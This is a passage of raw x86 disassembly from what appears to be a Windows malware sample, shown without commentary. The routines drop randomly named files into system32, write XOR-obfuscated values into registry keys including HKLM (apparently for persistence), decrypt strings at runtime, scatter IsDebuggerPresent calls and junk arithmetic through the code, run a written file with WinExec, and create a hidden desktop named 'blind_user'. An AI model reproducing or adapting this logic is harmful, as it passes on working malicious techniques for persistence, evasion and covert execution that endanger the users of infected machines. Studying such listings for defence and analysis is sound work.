		push	eax
		call	sub_40399B
		add	esp, 34h
		call	sub_40C764	; RtlGetLastWin32Error
		lea	edi, [ebp+var_2DB]
		lea	esi, aDdbl	; "Ddl"
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4421EC
		mov	[ebp+var_2DF], eax
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_101], dl
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_1], 1
		jmp	short loc_403DAD
; ---------------------------------------------------------------------------


loc_403D7D:				; CODE XREF: sub_403BE7+1CBj
		call	sub_40CC38
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_101], dl
		add	[ebp+var_1], 1


loc_403DAD:				; CODE XREF: sub_403BE7+194j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403D7D
		mov	ebx, 368Ch
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	[ebp+var_F9], 0
		call	sub_40CC38
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403DF5
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_312], 25D6h
		inc	[ebp+var_312]
		mov	[ebp+var_FA], 32h


loc_403DF5:				; CODE XREF: sub_403BE7+1E9j
		push	9
		push	offset word_447542
		call	sub_40390E
		lea	edi, [ebp+var_101]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_205]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_2E5]
		lea	esi, a1dy	; " /1dY"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40341E
		mov	eax, dword_4421F6
		mov	[ebp+var_2E9], eax
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_0]
		mov	eax, offset aOcndfb32 ;	"Ocndfb32"
		push	eax
		call	sub_40CC50
		push	0
		lea	eax, [ebp+var_2F0]
		push	eax
		push	1A01h
		push	offset dword_43D19C
		push	ebx
		call	sub_40C944	; WriteFile
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7D0	; GetVersion
		push	17h
		push	offset word_44752A
		call	sub_40390E
		lea	edi, [ebp+var_269]
		push	edi
		push	eax
		lea	edi, [ebp+var_101]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_205]
		push	eax
		push	offset byte_447529
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_403F47
		call	sub_40C794	; GetProcessHeap
		push	0Eh
		push	offset aNLF	; "±«¼¸½°·¾”¶½¼µ"
		call	sub_40390E
		mov	[ebp-314h], eax
		push	9
		push	offset aSiLnN	; "˜©¸«­´¼·­"
		call	sub_40390E
		push	eax
		mov	edi, [ebp-314h]
		push	edi
		lea	edi, [ebp+var_101]
		push	edi
		push	80000000h
		call	sub_403F47
		push	45h
		push	offset aKNoLEfLKNeoOke ; "ж¿­®¸«¼…”°º«¶ª¶¿­…ް·½¶®ª…𬫫¼·­¼«ª°"...
		call	sub_40390E
		lea	edi, [ebp+var_269]
		push	edi
		lea	edi, [ebp+var_2CD]
		push	edi
		push	eax
		push	80000002h
		call	sub_403F47
		add	esp, 80h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403BE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F47	proc near		; CODE XREF: sub_403BE7+2EFp
					; sub_403BE7+32Bp ...

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2], 482Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		inc	dword_43C230
		mov	[ebp+var_9], 0C8h
		add	[ebp+var_9], 59h
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB3C	; RegCreateKeyExA
		call	sub_40C854	; IsDebuggerPresent
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_403FA2:				; CODE XREF: sub_403F47+60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403FA2
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		push	edi
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB6C	; RegSetValueExA
		mov	[ebp+var_11], 0A1h
		add	[ebp+var_11], 0D6h
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		call	sub_40C7C4	; GetTickCount
		pop	edi
		pop	esi
		leave
		retn
sub_403F47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD8	proc near		; CODE XREF: sub_4040AA+A0p
					; sub_4040AA+C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442204
		lea	eax, ds:411CA0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_404021
sub_403FD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404020


loc_404007:				; CODE XREF: sub_404020+3j
		mov	eax, dword_442204
		add	eax, edi
		lea	eax, ds:411CA0h[eax] ; DATA XREF: .data:0043F12Dw
					; .data:0043F147w ...
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl
; END OF FUNCTION CHUNK	FOR sub_404020

; =============== S U B	R O U T	I N E =======================================



sub_404020	proc near		; DATA XREF: .data:0043F1FAo
					; .data:0043F210r

; FUNCTION CHUNK AT 00404007 SIZE 00000019 BYTES

		inc	edi


loc_404021:				; CODE XREF: sub_403FD8+2Dj
		cmp	edi, esi
		jl	short loc_404007 ; DATA	XREF: .data:0043F20Ar
		mov	dword ptr [ebp-8], 2C7h	; DATA XREF: .data:0043F204r


loc_40402C:				; DATA XREF: .data:loc_43F195r
					; .data:loc_43F1A5r ...
		mov	eax, dword_442204
		add	eax, esi
		mov	byte ptr ds:dword_411CA0[eax], 0 ; DATA	XREF: .data:0043F0A3w
					; .data:0043F0BEr ...
		mov	edi, dword_442204 ; DATA XREF: .data:0043F0B8o
					; .data:0043F0C6o
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_442204, eax
		cmp	eax, 0DB8h
		jle	short loc_40405A
		and	dword_442204, 0


loc_40405A:				; CODE XREF: sub_404020+31j
		mov	dword ptr [ebp-0Ch], 2EEh
		lea	eax, dword_411CA0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404020	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40406B	proc near		; CODE XREF: sub_40AA24+3B9p

var_1496	= word ptr -1496h
var_1300	= byte ptr -1300h

		push	ebp
		mov	ebp, esp
		mov	eax, 14B4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	ax, word_442208
		mov	[ebp+var_1496],	ax ; DATA XREF:	.data:0043F048w
		call	sub_40C7C4	; DATA XREF: .data:0043F04Dw
					; .data:0043F069w
		push	0FFh		; DATA XREF: .data:0043F5A8w
					; .data:0043F5AEr ...
		lea	eax, [ebp+var_1300] ; DATA XREF: .data:00440391r
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		call	sub_40C7C4	; GetTickCount
sub_40406B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4040AA	proc near		; DATA XREF: sub_43F624+Co
		mov	dword ptr [ebp-1394h], 94h
		mov	word ptr [ebp-1100h], 47E6h ; DATA XREF: sub_43F624+1Co
		movzx	eax, word ptr [ebp-1100h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1100h], ax
		lea	eax, [ebp-1394h]
		push	eax
		call	sub_40C7DC	; GetVersionExA
		mov	word ptr [ebp-1102h], 21A4h
		movzx	eax, word ptr [ebp-1102h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1102h], ax
		lea	edi, [ebp-149Dh]
		lea	esi, aRMqq	; "`R#MqQ"
		mov	ecx, 7
		rep movsb
		cmp	dword ptr [ebp-1384h], 2
		jnz	loc_4041A4
		call	sub_40C7D0	; GetVersion
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		lea	edi, [ebp-14B3h]
		lea	esi, byte_442211
		mov	ecx, 7
		rep movsb
		push	0Fh
		push	offset word_4474BA
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1201h]
		push	edi
		call	sub_40CC50
		push	0Ah
		push	offset byte_4474AF
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1494h]
		push	edi
		call	sub_40CC50
		push	8
		push	offset word_4474A6
		call	sub_403FD8
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC74
		add	esp, 38h
		jmp	loc_404233
; ---------------------------------------------------------------------------


loc_4041A4:				; CODE XREF: sub_4040AA+6Aj
		call	sub_40C764	; RtlGetLastWin32Error
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_40C7F4	; GetWindowsDirectoryA
		call	sub_40C854	; IsDebuggerPresent
		push	0Fh
		push	offset word_447496
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1201h]
		push	edi
		call	sub_40CC50
		call	sub_40C7D0	; GetVersion
		push	0Eh
		push	offset byte_447487
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1494h]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp-14AFh]
		lea	esi, byte_442218
		mov	ecx, 3
		rep movsb
		push	0Ch
		push	offset word_44747A
		call	sub_403FD8
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC74
		add	esp, 38h


loc_404233:				; CODE XREF: sub_4040AA+F5j
		lea	eax, [ebp-1494h]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp-14A4h]
		lea	esi, a99a	; "-; 99a"
		mov	ecx, 7
		rep movsb
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp-1201h]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		push	39h
		push	offset dword_447440
		call	sub_403FD8
		lea	edi, [ebp-1201h]
		push	edi
		lea	edi, [ebp-1300h]
		push	edi
		lea	edi, [ebp-1300h]
		push	edi
		push	eax
		lea	edi, [ebp-10FEh]
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp-10FEh]
		or	eax, 0FFFFFFFFh


loc_4042BB:				; CODE XREF: sub_4040AA+216j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4042BB
		push	0
		lea	esi, [ebp-14A8h]
		push	esi
		push	eax
		lea	edi, [ebp-10FEh]
		push	edi
		push	ebx
		call	sub_40C944	; WriteFile
		call	sub_40C764	; RtlGetLastWin32Error
		push	ebx
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_442222
		mov	[ebp-14ACh], eax
		push	8
		push	offset aSS	; "¿éºµÙº¿é"
		call	sub_403FD8
		add	esp, 8
		lea	edi, [ebp-1201h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-10FEh]
sub_4040AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404313	proc near		; DATA XREF: sub_43F725+1E1o
		push	edi
		call	sub_40CC50
		add	esp, 10h
		push	0
		lea	eax, [ebp-10FEh]
		push	eax
		call	sub_40C938	; WinExec
		mov	byte ptr [ebp-1395h], 69h
		add	byte ptr [ebp-1395h], 1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 200h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_442230
		lea	eax, ds:430C30h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 100h
		xor	edi, edi
		jmp	short loc_40438C
; ---------------------------------------------------------------------------


loc_404372:				; CODE XREF: .text:0040438Ej
		mov	eax, dword_442230
		add	eax, edi
		lea	eax, ds:430C30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_40438C:				; CODE XREF: .text:00404370j
		cmp	edi, esi
		jl	short loc_404372
		mov	eax, dword_442230
		add	eax, esi
		mov	byte ptr ds:dword_430C30[eax], 0
		xor	edi, edi
		mov	edi, dword_442230
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_442230, eax
		cmp	eax, 0DCCh
		jle	short loc_4043C0
		and	dword_442230, 0


loc_4043C0:				; CODE XREF: .text:004043B7j
		lea	eax, dword_430C30[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043CA	proc near		; CODE XREF: sub_4061F7+22Cp
					; sub_408B4C+1ABp

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_7		= byte ptr -7
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, dword_442238
		mov	ecx, 3
		rep movsb
		cmp	dword_442234, 0
		jz	short loc_404422
		mov	[ebp+var_A], 4080h
		movzx	eax, [ebp+var_A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_A], ax
		call	sub_40C740	; GetCurrentThreadId
		push	eax
		call	sub_40CA58	; GetThreadDesktop
		mov	[ebp+var_10], eax
		call	sub_40C794	; GetProcessHeap
		mov	eax, dword_442234
		cmp	[ebp+var_10], eax
		jnz	short loc_404450
		xor	eax, eax
		inc	eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------


loc_404422:				; CODE XREF: sub_4043CA+20j
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
		call	sub_40CA40	; CreateDesktopA
		mov	dword_442234, eax
		call	sub_40C740	; GetCurrentThreadId
		cmp	dword_442234, 0
		jnz	short loc_404450
		xor	eax, eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------


loc_404450:				; CODE XREF: sub_4043CA+51j
					; sub_4043CA+80j
		push	dword_442234
		call	sub_40CA4C	; SetThreadDesktop
		mov	[ebp+var_4], eax
		mov	ebx, 5CBAh
		mov	ecx, ebx
		add	ecx, ebx
		mov	ebx, ecx


loc_404469:				; CODE XREF: sub_4043CA+56j
					; sub_4043CA+84j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4043CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_4061F7+2C6p
					; sub_408B4C+230p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 1763h
		add	edi, 25D9h
		mov	eax, [ebp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		call	sub_40C794	; GetProcessHeap
		pop	edi
		pop	ebp
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404491	proc near		; CODE XREF: sub_404586+7p
					; sub_4045EF-2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442244
		lea	eax, ds:4176F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 5Dh
		xor	edi, edi
		jmp	short loc_4044D9
; ---------------------------------------------------------------------------


loc_4044BF:				; CODE XREF: sub_404491+4Aj
		mov	eax, dword_442244
		add	eax, edi
		lea	eax, ds:4176F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0B6h
		mov	[eax], dl
		inc	edi


loc_4044D9:				; CODE XREF: sub_404491+2Cj
		cmp	edi, esi
		jl	short loc_4044BF
		mov	eax, dword_442244
		add	eax, esi
		mov	byte ptr ds:dword_4176F0[eax], 0
		xor	edi, edi
		mov	edi, dword_442244
		add	dword_442244, 2
		mov	eax, dword_442244
		add	eax, 5
		add	eax, esi
		mov	dword_442244, eax
		cmp	eax, 0DD3h
		jle	short loc_404518
		and	dword_442244, 0


loc_404518:				; CODE XREF: sub_404491+7Ej
		mov	[ebp+var_8], 165h
		lea	eax, dword_4176F0[edi]
sub_404491	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404525	proc near		; DATA XREF: sub_43F725+A6o
		pop	edi
		pop	esi
		leave
		retn
sub_404525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404529	proc near		; CODE XREF: sub_4054C8+702p
					; sub_4054C8+7C6p ...

var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_100]
		lea	esi, byte_442248
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404641
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_FF], 0
		call	sub_40C764	; RtlGetLastWin32Error
sub_404529	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404586	proc near		; DATA XREF: sub_43F725+476o
		push	3
		push	offset aSC	; "™œ–"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		call	sub_40C794	; GetProcessHeap
		mov	byte ptr [ebp-101h], 0
		jmp	short loc_404605
sub_404586	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4045EF


loc_4045AA:				; CODE XREF: sub_4045EF+1Ej
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4045FE
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-108h]
		push	edi
; END OF FUNCTION CHUNK	FOR sub_4045EF

; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: sub_43F725+4B8o

; FUNCTION CHUNK AT 004045AA SIZE 00000045 BYTES

		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_4045FE:				; CODE XREF: sub_4045EF-35j
		add	byte ptr [ebp-101h], 1


loc_404605:				; CODE XREF: sub_404586+22j
		mov	al, [ebp-101h]
		cmp	al, 0Ah
		jb	short loc_4045AA
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		call	sub_40C854	; IsDebuggerPresent
		push	3
		push	offset aCS	; "–œ™"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 18h
		call	sub_40C854	; IsDebuggerPresent


loc_404641:				; CODE XREF: sub_404529+46j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404721
		call	sub_40C740	; GetCurrentThreadId
		push	10h
		push	offset aCuUUClcuN ; "À×Ä–“Õ“Õ“Õ–‹–“Ã"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	[ebp-10Ch], eax
		call	sub_40CC38
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	[ebp-114h], eax
		call	sub_40CC38
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-114h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-108h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		mov	byte ptr [ebp-101h], 80h
		add	byte ptr [ebp-101h], 1
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40470D	proc near		; DATA XREF: sub_43F725+600o
		add	esp, 28h
		lea	edi, [ebp-102h]
		lea	esi, byte_442249
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_404721:				; CODE XREF: sub_4045EF+62j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_4047EE
		mov	byte ptr [ebp-101h], 6Ch
		movzx	eax, byte ptr [ebp-101h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-101h], al
		push	0Ah
		push	offset aSsuUU	; "™™“Õ“Õ“Õ»¼"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	[ebp-10Ch], eax
		call	sub_40CC38
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
sub_40470D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40479E	proc near		; DATA XREF: sub_43F725+502o
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-108h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		mov	byte ptr [ebp-102h], 0ABh
		sub	byte ptr [ebp-102h], 19h
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 24h
		call	sub_40C854	; IsDebuggerPresent


loc_4047EE:				; CODE XREF: sub_40470D+24j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404816
		push	2
		push	offset asc_447400 ; "»¼"
sub_40479E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404807	proc near		; DATA XREF: sub_43F725+52Do
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404816:				; CODE XREF: sub_40479E+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404807	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40481B	proc near		; CODE XREF: sub_4054C8+1A2p
					; sub_4054C8+1D3p ...

var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_141		= byte ptr -141h
var_13B		= byte ptr -13Bh
var_136		= word ptr -136h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_129		= byte ptr -129h
var_120		= byte ptr -120h
var_108		= dword	ptr -108h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 150h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_108], 53AAh
		inc	[ebp+var_108]
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		lea	edi, [ebp+var_120]
		lea	esi, aKCivm	; "K Ci‚M "
		movsd
		movsd
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404A43
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_FF], 0
		mov	[ebp+var_130], 55F4h
		inc	[ebp+var_130]
		push	5
		push	offset aKciic	; "Š—››–"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		call	sub_40C7D0	; GetVersion
		mov	[ebp+var_129], 0
		jmp	loc_4049F9
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_40481B+1E6j
		call	sub_40C740	; GetCurrentThreadId
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404906
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_148], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_148]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_404906:				; CODE XREF: sub_40481B+A7j
		lea	edi, [ebp+var_13B]
		lea	esi, aByqv	; "BYQV"
		mov	ecx, 5
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40496D
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_14C], eax ; DATA XREF:	sub_43F725+41Dr
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_14C]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_40496D:				; CODE XREF: sub_40481B+10Ej
		lea	edi, [ebp+var_141]
		lea	esi, a4lk	; "&*4LK"
		mov	ecx, 3
		rep movsw
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 7
		jge	short loc_4049D5
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp+var_150], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_150]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_4049D5:				; CODE XREF: sub_40481B+176j
		mov	[ebp+var_136], 61C9h
		movzx	eax, [ebp+var_136]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_136], ax ; DATA XREF: sub_43F725+2Ao
		add	[ebp+var_129], 1


loc_4049F9:				; CODE XREF: sub_40481B+8Dj
		mov	al, [ebp+var_129]
		cmp	al, 0Ah
		jb	loc_4048AD
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CC74
		call	sub_40C734	; GetCurrentProcessId
		push	4
		push	offset aIiic	; "››ˆ–"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_134], 46D8h ; DATA XREF: sub_440126+12o
		sub	[ebp+var_134], 3C21h


loc_404A43:				; CODE XREF: sub_40481B+49j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404BD4
		mov	[ebp+var_130], 53ABh
